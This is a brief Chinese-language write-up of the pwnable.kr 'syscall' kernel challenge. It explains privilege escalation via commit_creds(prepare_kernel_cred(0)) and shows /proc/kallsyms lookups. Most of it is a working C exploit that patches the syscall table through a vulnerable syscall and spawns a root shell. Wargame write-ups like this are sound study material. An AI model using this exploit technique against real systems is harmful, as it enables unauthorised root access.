

## 参考

[https://github.com/sonysame/pwnable.kr\\_syscall/blob/master/syscall\\_exploit.c](https://github.com/sonysame/pwnable.kr_syscall/blob/master/syscall_exploit.c)

内核pwn的基础题目，学到了许多~~~

内核pwn的题目一般是驱动有漏洞/系统调用有漏洞

且内核pwn的目的一般都是提权

即

```
commit_creds(prepare_kernel_cred(0))
```

这两个函数可以使用命令

```
cat /proc/kallsyms | grep prepare_kernel_cred
cat /proc/kallsyms | grep commit_creds
```

获得

```
#include <stdio.h>

#define SYS_CALL_TABLE 0x8000e348
#define SYS_UPPER 223
// #define commit_creds 0x8003f56c
// #define prepare_kernel_cred 0x8003f924
unsigned int ** sct;

int main(void){
    sct=(unsigned int **)SYS_CALL_TABLE;
    syscall(SYS_UPPER, "\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1", 0x8003f560);
    syscall(SYS_UPPER, "\x60\xf5\x03\x80", &sct[25]);
    syscall(SYS_UPPER, "\x24\xf9\x03\x80", &sct[13]);
    syscall(25, syscall(13, 0));
    system("/bin/sh");
    return 0;
}
```